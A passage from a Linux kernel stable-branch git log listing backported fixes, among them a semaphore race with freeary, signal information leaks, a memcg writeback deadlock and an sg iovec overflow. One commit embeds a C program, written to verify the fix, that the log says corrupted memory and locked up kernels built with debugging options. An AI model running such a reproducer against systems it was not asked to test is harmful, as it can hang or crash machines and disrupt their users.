CONFIG_SLAB_DEBUG and CONFIG_DEBUG_SPINLOCK, you can easily see something like the following in the kernel log: Slab corruption (Not tainted): kmalloc-64 start=ffff88003b45c1c0, len=64 000: 6b 6b 6b 6b 6b 6b 6b 6b 00 6b 6b 6b 6b 6b 6b 6b kkkkkkkk.kkkkkkk 010: ff ff ff ff 6b 6b 6b 6b ff ff ff ff ff ff ff ff ....kkkk........ Prev obj: start=ffff88003b45c180, len=64 000: 00 00 00 00 ad 4e ad de ff ff ff ff 5a 5a 5a 5a .....N......ZZZZ 010: ff ff ff ff ff ff ff ff c0 fb 01 37 00 88 ff ff ...........7.... Next obj: start=ffff88003b45c200, len=64 000: 00 00 00 00 ad 4e ad de ff ff ff ff 5a 5a 5a 5a .....N......ZZZZ 010: ff ff ff ff ff ff ff ff 68 29 a7 3c 00 88 ff ff ........h).<.... BUG: spinlock wrong CPU on CPU#2, test/18028 general protection fault: 0000 [#1] SMP Modules linked in: 8021q mrp garp stp llc nf_conntrack_ipv4 nf_defrag_ipv4 ip6t_REJECT nf_reject_ipv6 nf_conntrack_ipv6 nf_defrag_ipv6 xt_state nf_conntrack ip6table_filter ip6_tables binfmt_misc ppdev input_leds joydev parport_pc parport floppy serio_raw virtio_balloon virtio_rng virtio_console virtio_net iosf_mbi crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcspkr qxl ttm drm_kms_helper drm snd_hda_codec_generic i2c_piix4 snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_seq snd_seq_device snd_pcm snd_timer snd soundcore crc32c_intel virtio_pci virtio_ring virtio pata_acpi ata_generic [last unloaded: speedstep_lib] CPU: 2 PID: 18028 Comm: test Not tainted 4.2.0-rc5+ #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.1-20150318_183358- 04/01/2014 RIP: spin_dump+0x53/0xc0 Call Trace: spin_bug+0x30/0x40 do_raw_spin_unlock+0x71/0xa0 _raw_spin_unlock+0xe/0x10 freeary+0x82/0x2a0 ? _raw_spin_lock+0xe/0x10 semctl_down.clone.0+0xce/0x160 ? __do_page_fault+0x19a/0x430 ? __audit_syscall_entry+0xa8/0x100 SyS_semctl+0x236/0x2c0 ? syscall_trace_leave+0xde/0x130 entry_SYSCALL_64_fastpath+0x12/0x71 Code: 8b 80 88 03 00 00 48 8d 88 60 05 00 00 48 c7 c7 a0 2c a4 81 31 c0 65 8b 15 eb 40 f3 7e e8 08 31 68 00 4d 85 e4 44 8b 4b 08 74 5e <45> 8b 84 24 88 03 00 00 49 8d 8c 24 60 05 00 00 8b 53 04 48 89 RIP [] spin_dump+0x53/0xc0 RSP ---[ end trace 783ebb76612867a0 ]--- NMI watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [test:18053] Modules linked in: 8021q mrp garp stp llc nf_conntrack_ipv4 nf_defrag_ipv4 ip6t_REJECT nf_reject_ipv6 nf_conntrack_ipv6 nf_defrag_ipv6 xt_state nf_conntrack ip6table_filter ip6_tables binfmt_misc ppdev input_leds joydev parport_pc parport floppy serio_raw virtio_balloon virtio_rng virtio_console virtio_net iosf_mbi crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcspkr qxl ttm drm_kms_helper drm snd_hda_codec_generic i2c_piix4 snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_seq snd_seq_device snd_pcm snd_timer snd soundcore crc32c_intel virtio_pci virtio_ring virtio pata_acpi ata_generic [last unloaded: speedstep_lib] CPU: 3 PID: 18053 Comm: test Tainted: G D 4.2.0-rc5+ #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.1-20150318_183358- 04/01/2014 RIP: native_read_tsc+0x0/0x20 Call Trace: ? delay_tsc+0x40/0x70 __delay+0xf/0x20 do_raw_spin_lock+0x96/0x140 _raw_spin_lock+0xe/0x10 sem_lock_and_putref+0x11/0x70 SYSC_semtimedop+0x7bf/0x960 ? handle_mm_fault+0xbf6/0x1880 ? dequeue_task_fair+0x79/0x4a0 ? __do_page_fault+0x19a/0x430 ? kfree_debugcheck+0x16/0x40 ? __do_page_fault+0x19a/0x430 ? __audit_syscall_entry+0xa8/0x100 ? do_audit_syscall_entry+0x66/0x70 ? syscall_trace_enter_phase1+0x139/0x160 SyS_semtimedop+0xe/0x10 SyS_semop+0x10/0x20 entry_SYSCALL_64_fastpath+0x12/0x71 Code: 47 10 83 e8 01 85 c0 89 47 10 75 08 65 48 89 3d 1f 74 ff 7e c9 c3 0f 1f 44 00 00 55 48 89 e5 e8 87 17 04 00 66 90 c9 c3 0f 1f 00 <55> 48 89 e5 0f 31 89 c1 48 89 d0 48 c1 e0 20 89 c9 48 09 c8 c9 Kernel panic - not syncing: softlockup: hung tasks I wasn't able to trigger any badness on a recent kernel without the proper config debugs enabled, however I have softlockup reports on some kernel versions, in the semaphore code, which are similar as above (the scenario is seen on some servers running IBM DB2 which uses semaphore syscalls). The patch here fixes the race against freeary, by acquiring or waiting on the sem_undo_list lock as necessary (exit_sem can race with freeary, while freeary sets un->semid to -1 and removes the same sem_undo from list_proc or when it removes the last sem_undo). After the patch I'm unable to reproduce the problem using the test case [1]. [1] Test case used below: #include #include #include #include #include #include #include #include #include #define NSEM 1 #define NSET 5 int sid[NSET]; void thread() { struct sembuf op; int s; uid_t pid = getuid(); s = rand() % NSET; op.sem_num = pid % NSEM; op.sem_op = 1; op.sem_flg = SEM_UNDO; semop(sid[s], &op, 1); exit(EXIT_SUCCESS); } void create_set() { int i, j; pid_t p; union { int val; struct semid_ds *buf; unsigned short int *array; struct seminfo *__buf; } un; /* Create and initialize semaphore set */ for (i = 0; i < NSET; i++) { sid[i] = semget(IPC_PRIVATE , NSEM, 0644 | IPC_CREAT); if (sid[i] < 0) { perror("semget"); exit(EXIT_FAILURE); } } un.val = 0; for (i = 0; i < NSET; i++) { for (j = 0; j < NSEM; j++) { if (semctl(sid[i], j, SETVAL, un) < 0) perror("semctl"); } } /* Launch threads that operate on semaphore set */ for (i = 0; i < NSEM * NSET * NSET; i++) { p = fork(); if (p < 0) perror("fork"); if (p == 0) thread(); } /* Free semaphore set */ for (i = 0; i < NSET; i++) { if (semctl(sid[i], NSEM, IPC_RMID)) perror("IPC_RMID"); } /* Wait for forked processes to exit */ while (wait(NULL)) { if (errno == ECHILD) break; }; } int main(int argc, char **argv) { pid_t p; srand(time(NULL)); while (1) { p = fork(); if (p < 0) { perror("fork"); exit(EXIT_FAILURE); } if (p == 0) { create_set(); goto end; } /* Wait for forked processes to exit */ while (wait(NULL)) { if (errno == ECHILD) break; }; } end: return 0; } [akpm@linux-foundation.org: use normal comment layout] Signed-off-by: Herton R. Krzesinski Acked-by: Manfred Spraul Cc: Davidlohr Bueso Cc: Rafael Aquini CC: Aristeu Rozanski Cc: David Jeffery Signed-off-by: Andrew Morton Signed-off-by: Greg Kroah-Hartman Signed-off-by: Linus Torvalds Signed-off-by: Pranav Vashi commit b448de54e26f6b141e923e4e02a953199768c3ba Author: Greg Kroah-Hartman Date: Sun Aug 16 20:52:24 2015 -0700 Linux 3.10.87 Signed-off-by: Pranav Vashi commit 450aae2ba7becbcf6e9a314cd70950274ddeb460 Author: Michal Hocko Date: Tue Aug 4 14:36:58 2015 -0700 mm, vmscan: Do not wait for page writeback for GFP_NOFS allocations Nikolay has reported a hang when a memcg reclaim got stuck with the following backtrace: PID: 18308 TASK: ffff883d7c9b0a30 CPU: 1 COMMAND: "rsync" #0 __schedule at ffffffff815ab152 #1 schedule at ffffffff815ab76e #2 schedule_timeout at ffffffff815ae5e5 #3 io_schedule_timeout at ffffffff815aad6a #4 bit_wait_io at ffffffff815abfc6 #5 __wait_on_bit at ffffffff815abda5 #6 wait_on_page_bit at ffffffff8111fd4f #7 shrink_page_list at ffffffff81135445 #8 shrink_inactive_list at ffffffff81135845 #9 shrink_lruvec at ffffffff81135ead #10 shrink_zone at ffffffff811360c3 #11 shrink_zones at ffffffff81136eff #12 do_try_to_free_pages at ffffffff8113712f #13 try_to_free_mem_cgroup_pages at ffffffff811372be #14 try_charge at ffffffff81189423 #15 mem_cgroup_try_charge at ffffffff8118c6f5 #16 __add_to_page_cache_locked at ffffffff8112137d #17 add_to_page_cache_lru at ffffffff81121618 #18 pagecache_get_page at ffffffff8112170b #19 grow_dev_page at ffffffff811c8297 #20 __getblk_slow at ffffffff811c91d6 #21 __getblk_gfp at ffffffff811c92c1 #22 ext4_ext_grow_indepth at ffffffff8124565c #23 ext4_ext_create_new_leaf at ffffffff81246ca8 #24 ext4_ext_insert_extent at ffffffff81246f09 #25 ext4_ext_map_blocks at ffffffff8124a848 #26 ext4_map_blocks at ffffffff8121a5b7 #27 mpage_map_one_extent at ffffffff8121b1fa #28 mpage_map_and_submit_extent at ffffffff8121f07b #29 ext4_writepages at ffffffff8121f6d5 #30 do_writepages at ffffffff8112c490 #31 __filemap_fdatawrite_range at ffffffff81120199 #32 filemap_flush at ffffffff8112041c #33 ext4_alloc_da_blocks at ffffffff81219da1 #34 ext4_rename at ffffffff81229b91 #35 ext4_rename2 at ffffffff81229e32 #36 vfs_rename at ffffffff811a08a5 #37 SYSC_renameat2 at ffffffff811a3ffc #38 sys_renameat2 at ffffffff811a408e #39 sys_rename at ffffffff8119e51e #40 system_call_fastpath at ffffffff815afa89 Dave Chinner has properly pointed out that this is a deadlock in the reclaim code because ext4 doesn't submit pages which are marked by PG_writeback right away. The heuristic was introduced by commit e62e384e9da8 ("memcg: prevent OOM with too many dirty pages") and it was applied only when may_enter_fs was specified. The code has been changed by c3b94f44fcb0 ("memcg: further prevent OOM with too many dirty pages") which has removed the __GFP_FS restriction with a reasoning that we do not get into the fs code. But this is not sufficient apparently because the fs doesn't necessarily submit pages marked PG_writeback for IO right away. ext4_bio_write_page calls io_submit_add_bh but that doesn't necessarily submit the bio. Instead it tries to map more pages into the bio and mpage_map_one_extent might trigger memcg charge which might end up waiting on a page which is marked PG_writeback but hasn't been submitted yet so we would end up waiting for something that never finishes. Fix this issue by replacing __GFP_IO by may_enter_fs check (for case 2) before we go to wait on the writeback. The page fault path, which is the only path that triggers memcg oom killer since 3.12, shouldn't require GFP_NOFS and so we shouldn't reintroduce the premature OOM killer issue which was originally addressed by the heuristic. As per David Chinner the xfs is doing similar thing since 2.6.15 already so ext4 is not the only affected filesystem. Moreover he notes: : For example: IO completion might require unwritten extent conversion : which executes filesystem transactions and GFP_NOFS allocations. The : writeback flag on the pages can not be cleared until unwritten : extent conversion completes. Hence memory reclaim cannot wait on : page writeback to complete in GFP_NOFS context because it is not : safe to do so, memcg reclaim or otherwise. [tytso@mit.edu: corrected the control flow] Fixes: c3b94f44fcb0 ("memcg: further prevent OOM with too many dirty pages") Reported-by: Nikolay Borisov Signed-off-by: Michal Hocko Signed-off-by: Hugh Dickins Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b35deba9ca8c02d85f913b1db9a4f99c6381ed6 Author: NeilBrown Date: Fri Aug 14 17:04:21 2015 +1000 md/bitmap: return an error when bitmap superblock is corrupt. commit b97e92574c0bf335db1cd2ec491d8ff5cd5d0b49 upstream Use separate bitmaps for each nodes in the cluster bitmap_read_sb() validates the bitmap superblock that it reads in. If it finds an inconsistency like a bad magic number or out-of-range version number, it prints an error and returns, but it incorrectly returns zero, so the array is still assembled with the (invalid) bitmap. This means it could try to use a bitmap with a new version number which it therefore does not understand. This bug was introduced in 3.5 and fix as part of a larger patch in 4.1. So the patch is suitable for any -stable kernel in that range. Fixes: 27581e5ae01f ("md/bitmap: centralise allocation of bitmap file pages.") Signed-off-by: NeilBrown Reported-by: GuoQing Jiang Signed-off-by: Pranav Vashi commit 1897c24ff68a7bdc61c0d32d638981ace0c54ae8 Author: Paolo Bonzini Date: Sat May 30 14:31:24 2015 +0200 kvm: x86: fix kvm_apic_has_events to check for NULL pointer commit ce40cd3fc7fa40a6119e5fe6c0f2bc0eb4541009 upstream. Malicious (or egregiously buggy) userspace can trigger it, but it should never happen in normal operation. Signed-off-by: Paolo Bonzini Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c077d879ba30405412341cc5a2e760aba3e11cd Author: Amanieu d'Antras Date: Thu Aug 6 15:46:26 2015 -0700 signal: fix information leak in copy_siginfo_from_user32 commit 3c00cb5e68dc719f2fc73a33b1b230aadfcb1309 upstream. This function can leak kernel stack data when the user siginfo_t has a positive si_code value. The top 16 bits of si_code descibe which fields in the siginfo_t union are active, but they are treated inconsistently between copy_siginfo_from_user32, copy_siginfo_to_user32 and copy_siginfo_to_user. copy_siginfo_from_user32 is called from rt_sigqueueinfo and rt_tgsigqueueinfo in which the user has full control overthe top 16 bits of si_code. This fixes the following information leaks: x86: 8 bytes leaked when sending a signal from a 32-bit process to itself. This leak grows to 16 bytes if the process uses x32. (si_code = __SI_CHLD) x86: 100 bytes leaked when sending a signal from a 32-bit process to a 64-bit process. (si_code = -1) sparc: 4 bytes leaked when sending a signal from a 32-bit process to a 64-bit process. (si_code = any) parsic and s390 have similar bugs, but they are not vulnerable because rt_[tg]sigqueueinfo have checks that prevent sending a positive si_code to a different process. These bugs are also fixed for consistency. Signed-off-by: Amanieu d'Antras Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Russell King Cc: Ralf Baechle Cc: Benjamin Herrenschmidt Cc: Chris Metcalf Cc: Paul Mackerras Cc: Michael Ellerman Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5bb2fd335b7c60e419cf27b92b03e3dacd7d5bf1 Author: Amanieu d'Antras Date: Thu Aug 6 15:46:29 2015 -0700 signal: fix information leak in copy_siginfo_to_user commit 26135022f85105ad725cda103fa069e29e83bd16 upstream. This function may copy the si_addr_lsb, si_lower and si_upper fields to user mode when they haven't been initialized, which can leak kernel stack data to user mode. Just checking the value of si_code is insufficient because the same si_code value is shared between multiple signals. This is solved by checking the value of si_signo in addition to si_code. Signed-off-by: Amanieu d'Antras Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Russell King Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3739ff254838660db0a0792cba1e028c7cd79493 Author: Amanieu d'Antras Date: Thu Aug 6 15:46:33 2015 -0700 signalfd: fix information leak in signalfd_copyinfo commit 3ead7c52bdb0ab44f4bb1feed505a8323cc12ba7 upstream. This function may copy the si_addr_lsb field to user mode when it hasn't been initialized, which can leak kernel stack data to user mode. Just checking the value of si_code is insufficient because the same si_code value is shared between multiple signals. This is solved by checking the value of si_signo in addition to si_code. Signed-off-by: Amanieu d'Antras Cc: Oleg Nesterov Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 491d4b0da1f7d6ba974aa637d7663194c4091781 Author: Russell King Date: Tue Aug 6 09:48:42 2013 +0100 ARM: Fix !kuser helpers case commit 1b16c4bcf80e319b2226a886b72b8466179c8e3a upstream. Fix yet another build failure caused by a weird set of configuration settings: LD init/built-in.o arch/arm/kernel/built-in.o: In function `__dabt_usr': /home/tom3q/kernel/arch/arm/kernel/entry-armv.S:377: undefined reference to `kuser_cmpxchg64_fixup' arch/arm/kernel/built-in.o: In function `__irq_usr': /home/tom3q/kernel/arch/arm/kernel/entry-armv.S:387: undefined reference to `kuser_cmpxchg64_fixup' caused by: CONFIG_KUSER_HELPERS=n CONFIG_CPU_32v6K=n CONFIG_NEEDS_SYSCALL_FOR_CMPXCHG=n Reported-by: Tomasz Figa Signed-off-by: Russell King Cc: Martin Kaiser Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a716b9ab2c71fd7545ee2ca2ba5ea81a417b10d4 Author: Al Viro Date: Sat Mar 21 20:08:18 2015 -0400 sg_start_req(): make sure that there's not too many elements in iovec commit 451a2886b6bf90e2fb378f7c46c655450fb96e81 upstream. unfortunately, allowing an arbitrary 16bit value means a possibility of overflow in the calculation of total number of pages in bio_map_user_iov() - we rely on there being no more than PAGE_SIZE members of sum in the first loop there. If that sum wraps around, we end up allocating too small array of pointers to pages and it's easy to overflow it in the second loop. X-Coverup: TINC (and there's no lumber cartel either) Signed-off-by: Al Viro [bwh: s/MAX_UIOVEC/UIO_MAXIOV/. This was fixed upstream by commit fdc81f45e9f5 ("sg_start_req(): use import_iovec()"), but we don't have that function.] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53ad209c0b90b3fbe7decce55d52981c7262b49e Author: NeilBrown Date: Mon Jul 27 11:48:52 2015 +1000 md/raid1: extend spinlock to protect raid1_end_read_request against inconsistencies commit 423f04d63cf421ea436bcc5be02543d549ce4b28 upstream. raid1_end_read_request() assumes that the In_sync bits are consistent with the ->degaded count. raid1_spare_active updates the In_sync bit before the ->degraded count and so exposes an inconsistency, as does error() So extend the spinlock in raid1_spare_active() and error() to hide those inconsistencies. This should probably be part of Commit: 34cab6f42003 ("md/raid1: fix test for 'was read error from last working device'.") as it addresses the same issue. It fixes the same bug and should go to -stable for same reasons. Fixes: 76073054c95b ("md/raid1: clean up read_balance.") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5281bbae8c5452e83e8a6e94c48b7ebb238c0b2a Author: Joseph Qi Date: Thu Aug 6 15:46:23 2015 -0700 ocfs2: fix BUG in ocfs2_downconvert_thread_do_work() commit 209f7512d007980fd111a74a064d70a3656079cf upstream. The "BUG_ON(list_empty(&osb->blocked_lock_list))" in ocfs2_downconvert_thread_do_work can be triggered in the following case: ocfs2dc has firstly saved osb->blocked_lock_count to local varibale processed, and then processes the dentry lockres. During the dentry put, it calls iput and then deletes rw, inode and open lockres from blocked list in ocfs2_mark_lockres_freeing. And this causes the variable `processed' to not reflect the number of blocked lockres to be processed, which triggers the BUG. Signed-off-by: Joseph Qi Cc: Mark Fasheh Cc: Joel Becker Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9b267731091c49fecd7bb100ab6e42cdc77f09f Author: Marcus Gelderie Date: Thu Aug 6 15:46:10 2015 -0700 ipc: modify message queue accounting to not take kernel data structures into account commit de54b9ac253787c366bbfb28d901a31954eb3511 upstream. A while back, the message queue implementation in the kernel was improved to use btrees to speed up retrieval of messages, in commit d6629859b36d ("ipc/mqueue: improve performance of send/recv"). That patch introducing the improved kernel handling of message queues (using btrees) has, as a by-product, changed the meaning of the QSIZE field in the pseudo-file created for the queue. Before, this field reflected the size of the user-data in the queue. Since, it also takes kernel data structures into account. For example, if 13 bytes of user data are in the queue, on my machine the file reports a size of 61 bytes. There was some discussion on this topic before (for example https://lkml.org/lkml/2014/10/1/115). Commenting on a th lkml, Michael Kerrisk gave the following background (https://lkml.org/lkml/2015/6/16/74): The pseudofiles in the mqueue filesystem (usually mounted at /dev/mqueue) expose fields with metadata describing a message queue. One of these fields, QSIZE, as originally implemented, showed the total number of bytes of user data in all messages in the message queue, and this feature was documented from the beginning in the mq_overview(7) page. In 3.5, some other (useful) work happened to break the user-space API in a couple of places, including the value exposed via QSIZE, which now includes a measure of kernel overhead bytes for the queue, a figure that renders QSIZE useless for its original purpose, since there's no way to deduce the number of overhead bytes consumed by the implementation. (The other user-space breakage was subsequently fixed.) This patch removes the accounting of kernel data structures in the queue. Reporting the size of these data-structures in the QSIZE field was a breaking change (see Michael's comment above). Without the QSIZE field reporting the total size of user-data in the queue, there is no way to deduce this number. It should be noted that the resource limit RLIMIT_MSGQUEUE is counted against the worst-case size of the queue (in both the old and the new implementation). Therefore, the kernel overhead accounting in QSIZE is not necessary to help the user understand the limitations RLIMIT imposes on the processes. Signed-off-by: Marcus Gelderie Acked-by: Doug Ledford Acked-by: Michael Kerrisk Acked-by: Davidlohr Bueso Cc: David Howells Cc: Alexander Viro Cc: John Duffy Cc: Arto Bendiken Cc: Manfred Spraul Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d15af3e0265d896cb1ebfb37e8cf89f50b704a5e Author: Dan Carpenter Date: Sat Jul 25 03:03:38 2015 +0300 ALSA: hda - fix cs4210_spdif_automute() commit 44008f0896ae205b02b0882dbf807f0de149efc4 upstream. Smatch complains that we have nested checks for "spdif_present". It turns out the current behavior isn't correct, we should remove the first check and keep the second. Fixes: 1077a024812d ('ALSA: hda - Use generic parser for Cirrus codec driver') Signed-off-by: Dan Carpenter Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b79bd6e52f181b6ddc737488fab0ede70acb344d Author: Nicholas Bellinger Date: Wed Jul 22 23:14:19 2015 -0700 iscsi-target: Fix iscsit_start_kthreads failure OOPs commit e54198657b65625085834847ab6271087323ffea upstream. This patch fixes a regression introduced with the following commit in v4.0-rc1 code, where a iscsit_start_kthreads() failure triggers a NULL pointer dereference OOPs: commit 88dcd2dab5c23b1c9cfc396246d8f476c872f0ca Author: Nicholas Bellinger Date: Thu Feb 26 22:19:15 2015 -0800 iscsi-target: Convert iscsi_thread_set usage to kthread.h To address this bug, move iscsit_start_kthreads() immediately preceeding the transmit of last login response, before signaling a successful transition into full-feature-phase within existing iscsi_target_do_tx_login_io() logic. This ensures that no target-side resource allocation failures can occur after the final login response has been successfully sent. Also, it adds a iscsi_conn->rx_login_comp to allow the RX thread to sleep to prevent other socket related failures until the final iscsi_post_login_handler() call is able to complete. Cc: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d9f4dfb5c7854c500cda4f06c0e2d200ee72a6c Author: Ilya Dryomov Date: Thu Jul 16 17:36:11 2015 +0300 rbd: fix copyup completion race commit 2761713d35e370fd640b5781109f753066b746c4 upstream. For write/discard obj_requests that involved a copyup method call, the opcode of the first op is CEPH_OSD_OP_CALL and the ->callback is rbd_img_obj_copyup_callback(). The latter frees copyup pages, sets ->xferred and delegates to rbd_img_obj_callback(), the "normal" image object callback, for reporting to block layer and putting refs. rbd_osd_req_callback() however treats CEPH_OSD_OP_CALL as a trivial op, which means obj_request is marked done in rbd_osd_trivial_callback(), *before* ->callback is invoked and rbd_img_obj_copyup_callback() has a chance to run. Marking obj_request done essentially means giving rbd_img_obj_callback() a license to end it at any moment, so if another obj_request from the same img_request is being completed concurrently, rbd_img_obj_end_request() may very well be called on such prematurally marked done request: handle_reply() rbd_osd_req_callback() rbd_osd_trivial_callback() rbd_obj_request_complete() rbd_img_obj_copyup_callback() rbd_img_obj_callback() handle_reply() rbd_osd_req_callback() rbd_osd_trivial_callback() for_each_obj_request(obj_request->img_request) { rbd_img_obj_end_request(obj_request-1/2) rbd_img_obj_end_request(obj_request-2/2) <-- } Calling rbd_img_obj_end_request() on such a request leads to trouble, in particular because its ->xfferred is 0. We report 0 to the block layer with blk_update_request(), get back 1 for "this request has more data in flight" and then trip on rbd_assert(more ^ (which == img_request->obj_request_count)); with rhs (which == ...) being 1 because rbd_img_obj_end_request() has been called for both requests and lhs (more) being 1 because we haven't got a chance to set ->xfferred in rbd_img_obj_copyup_callback() yet. To fix this, leverage that rbd wants to call class methods in only two cases: one is a generic method call wrapper (obj_request is standalone) and the other is a copyup (obj_request is part of an img_request). So make a dedicated handler for CEPH_OSD_OP_CALL and directly invoke rbd_img_obj_copyup_callback() from it if obj_request is part of an img_request, similar to how CEPH_OSD_OP_READ handler invokes rbd_img_obj_request_read_callback(). Since rbd_img_obj_copyup_callback() is now being called from the OSD request callback (only), it is renamed to rbd_osd_copyup_callback(). Cc: Alex Elder Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 637b8e4a9e69fc88f0eadea20addc8dd43248c1a Author: Herbert Xu Date: Wed Jul 22 18:05:35 2015 +0800 crypto: ixp4xx - Remove bogus BUG_ON on scattered dst buffer commit f898c522f0e9ac9f3177d0762b76e2ab2d2cf9c0 upstream. This patch removes a bogus BUG_ON in the ablkcipher path that triggers when the destination buffer is different from the source buffer and is scattered. Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66173ff1f775546ed35450006aaba3bbf0ac69da Author: Marek Marczykowski-Górecki Date: Fri Jun 26 03:28:24 2015 +0200 xen/gntdevt: Fix race condition in gntdev_release() commit 30b03d05e07467b8c6ec683ea96b5bffcbcd3931 upstream. While gntdev_release() is called the MMU notifier is still registered and can traverse priv->maps list even if no pages are mapped (which is the case -- gntdev_release() is called after all). But gntdev_release() will clear that list, so make sure that only one of those things happens at the same time. Signed-off-by: Marek Marczykowski-Górecki Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d384f2c46be7656f9b3507c18d304db77b8554a5 Author: Andy Lutomirski Date: Thu Jul 30 14:31:31 2015 -0700 x86/xen: Probe target addresses in set_aliased_prot() before the hypercall commit aa1acff356bbedfd03b544051f5b371746735d89 upstream. The update_va_mapping hypercall can fail if the VA isn't present in the guest's page tables. Under certain loads, this can result in an OOPS when the target address is in unpopulated vmap space. While we're at it, add comments to help explain what's going on. This isn't a great long-term fix. This code should probably be changed to use something like set_memory_ro. Signed-off-by: Andy Lutomirski Cc: Andrew Cooper Cc: Andy Lutomirski Cc: Boris Ostrovsky Cc: Borislav Petkov Cc: Brian Gerst Cc: David Vrabel Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jan Beulich Cc: Konrad Rzeszutek Wilk Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Sasha Levin Cc: Steven Rostedt Cc: Thomas Gleixner Cc: security@kernel.org Cc: xen-devel Link: http://lkml.kernel.org/r/0b0e55b995cda11e7829f140b833ef932fcabe3a.1438291540.git.luto@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b31b0acca72564f743fcf05a183dab6a9d2a0e0 Author: David S. Miller Date: Thu Aug 6 19:13:25 2015 -0700 sparc64: Fix userspace FPU register corruptions. [ Upstream commit 44922150d87cef616fd183220d43d8fde4d41390 ] If we have a series of events from userpsace, with %fprs=FPRS_FEF, like follows: ETRAP ETRAP VIS_ENTRY(fprs=0x4) VIS_EXIT RTRAP (kernel FPU restore with fpu_saved=0x4) RTRAP We will not restore the user registers that were clobbered by the FPU using kernel code in the inner-most trap. Traps allocate FPU save slots in the thread struct, and FPU using sequences save the "dirty" FPU registers only. This works at the initial trap level because all of the registers get recorded into the top-level FPU save area, and we'll return to userspace with the FPU disabled so that any FPU use by the user will take an FPU disabled trap wherein we'll load the registers back up properly. But this is not how trap returns from kernel to kernel operate. The simplest fix for this bug is to always save all FPU register state for anything other than the top-most FPU save area. Getting rid of the optimized inner-slot FPU saving code ends up making VISEntryHalf degenerate into plain VISEntry. Longer term we need to do something smarter to reinstate the partial save optimizations. Perhaps the fundament error is having trap entry and exit allocate FPU save slots and restore register state. Instead, the VISEntry et al. calls should be doing that work. This bug is about two decades old. Reported-by: James Y Knight Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 19ef42422d38acd34436fc561d0b99b65c5733cd Author: David S. Miller Date: Tue Oct 14 19:37:58 2014 -0700 sparc64: Fix FPU register corruption with AES crypto offload. [ Upstream commit f4da3628dc7c32a59d1fb7116bb042e6f436d611 ] The AES loops in arch/sparc/crypto/aes_glue.c use a scheme where the key material is preloaded into the FPU registers, and then we loop over and over doing the crypt operation, reusing those pre-cooked key registers. There are intervening blkcipher*() calls between the crypt operation calls. And those might perform memcpy() and thus also try to use the FPU. The sparc64 kernel FPU usage mechanism is designed to allow such recursive uses, but with a catch. There has to be a trap between the two FPU using threads of control. The mechanism works by, when the FPU is already in use by the kernel, allocating a slot for FPU saving at trap time. Then if, within the trap handler, we try to use the FPU registers, the pre-trap FPU register state is saved into the slot. Then at trap return time we notice this and restore the pre-trap FPU state. Over the long term there are various more involved ways we can make this work, but for a quick fix let's take advantage of the fact that the situation where this happens is very limited. All sparc64 chips that support the crypto instructiosn also are using the Niagara4 memcpy routine, and that routine only uses the FPU for large copies where we can't get the source aligned properly to a multiple of 8 bytes. We look to see if the FPU is already in use in this context, and if so we use the non-large copy path which only uses integer registers. Furthermore, we also limit this special logic to when we are doing kernel copy, rather than a user copy. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e95a7bc457fae727cc85ad54f36c67abd090efb Author: Peter Zijlstra Date: Tue May 21 13:05:37 2013 +0200 perf/x86/amd: Rework AMD PMU init code commit 1b45adcd9a503428e6de6b39bc6892d86c9c1d41 upstream. Josh reported that his QEMU is a bad hardware emulator and trips a WARN in the AMD PMU init code. He requested the WARN be turned into a pr_err() or similar. While there, rework the code a little. Reported-by: Josh Boyer Acked-by: Robert Richter Acked-by: Jacob Shin Cc: Stephane Eranian Signed-off-by: Peter Zijlstra Link: http://lkml.kernel.org/r/20130521110537.GG26912@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5aeaf1735c0aab62deef72a4dd8aad39eb50cb4f Author: Guenter Roeck Date: Sun Sep 8 00:25:36 2013 -0700 mfd: sm501: dbg_regs attribute must be read-only commit 8a8320c2e78d1b619a8fa8eb5ae946b8691de604 upstream. Fix: sm501 sm501: SM501 At 